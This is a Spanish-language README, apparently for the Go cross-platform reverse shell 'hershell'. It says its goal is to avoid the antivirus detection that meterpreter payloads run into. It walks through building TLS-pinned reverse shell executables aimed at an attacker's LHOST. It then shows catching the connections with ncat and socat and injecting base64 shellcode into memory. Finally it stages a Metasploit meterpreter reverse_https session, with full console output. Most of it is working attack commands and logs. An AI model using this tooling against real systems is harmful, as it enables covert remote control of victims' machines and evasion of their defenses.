
Generador de shell inversa multiplataforma
Shell reverso TCP simple escrito en Go.
Utiliza TLS para asegurar las comunicaciones y proporciona una función de fijación de huella digital de clave pública del certificado, evitando la interceptación del tráfico.
Los sistemas operativos compatibles son:
Aunque los payloads de meterpreter son excelentes, a veces son detectados por productos antivirus.
El objetivo de este proyecto es obtener un shell reverso simple que pueda funcionar en múltiples sistemas.
Dado que está escrito en Go, puedes compilar de forma cruzada el código fuente para la arquitectura deseada.
Como este es un proyecto Go, deberás seguir la documentación oficial para configurar tu entorno Golang (con la variable de entorno $GOPATH).
Luego, simplemente ejecuta go get github.com/lesnuages/hershell para obtener el proyecto.
Para simplificar las cosas, puedes usar el Makefile proporcionado.
Puedes establecer las siguientes variables de entorno:
GOOS : el SO objetivoGOARCH : la arquitectura objetivoLHOST : la IP del atacante o nombre de dominioLPORT : el puerto del listenerPara las variables GOOS y GOARCH, puedes obtener los valores permitidos aquí.
Sin embargo, algunos objetivos auxiliares están disponibles en el Makefile:
depends : genera el certificado del servidor (requerido para el shell reverso)windows32 : construye un ejecutable de Windows de 32 bits (PE 32 bits)windows64 : construye un ejecutable de Windows de 64 bits (PE 64 bits)linux32 : construye un ejecutable de Linux de 32 bits (ELF 32 bits)linux64 : construye un ejecutable de Linux de 64 bits (ELF 64 bits)macos32 : construye un ejecutable de Mac OS de 32 bits (Mach-O)macos64 : construye un ejecutable de Mac OS de 64 bits (Mach-O)Para esos objetivos, solo necesitas establecer las variables de entorno LHOST y LPORT.
Una vez ejecutado, se te proporcionará un shell remoto.
Este shell interactivo personalizado te permitirá ejecutar comandos del sistema a través de cmd.exe en Windows, o /bin/sh en máquinas UNIX.
Se admiten los siguientes comandos especiales:
run_shell : te proporciona un shell del sistema (permitiéndote, por ejemplo, cambiar de directorio)inject <shellcode en base64> : inyecta un shellcode (codificado en base64) en la memoria del mismo proceso y lo ejecutameterpreter [tcp|http|https] IP:PUERTO : se conecta a un multi/handler para obtener un stage2 meterpreter reverso tcp, http o https de metasploit, y ejecuta el shellcode en memoria (solo Windows por el momento)exit : sale de forma ordenadaEn primer lugar, necesitarás generar un certificado válido:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
Para Windows:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Para Linux:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Para Mac OS X
$ make macos LHOST=192.168.0.12 LPORT=1234
Se pueden usar varias herramientas para manejar las conexiones entrantes, como:
python/shell_reverse_tcp_ssl)Aquí hay un ejemplo con ncat:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
Aquí hay un ejemplo con socat (probado con la versión 1.7.3.2):
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab
ADVERTENCIA: esto actualmente solo funciona para la plataforma Windows.
El staging de meterpreter actualmente admite los siguientes payloads:
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsPara usar el correcto, solo especifica el transporte que deseas usar (tcp, http, https)
Para usar la función de staging de meterpreter, solo inicia tu handler:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
Luego, en hershell, usa el comando meterpreter:
[hershell]> meterpreter https 172.16.122.105:8443
Una nueva sesión de meterpreter debería aparecer en msfconsole:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
@khast3x por la funcionalidad del Dockerfile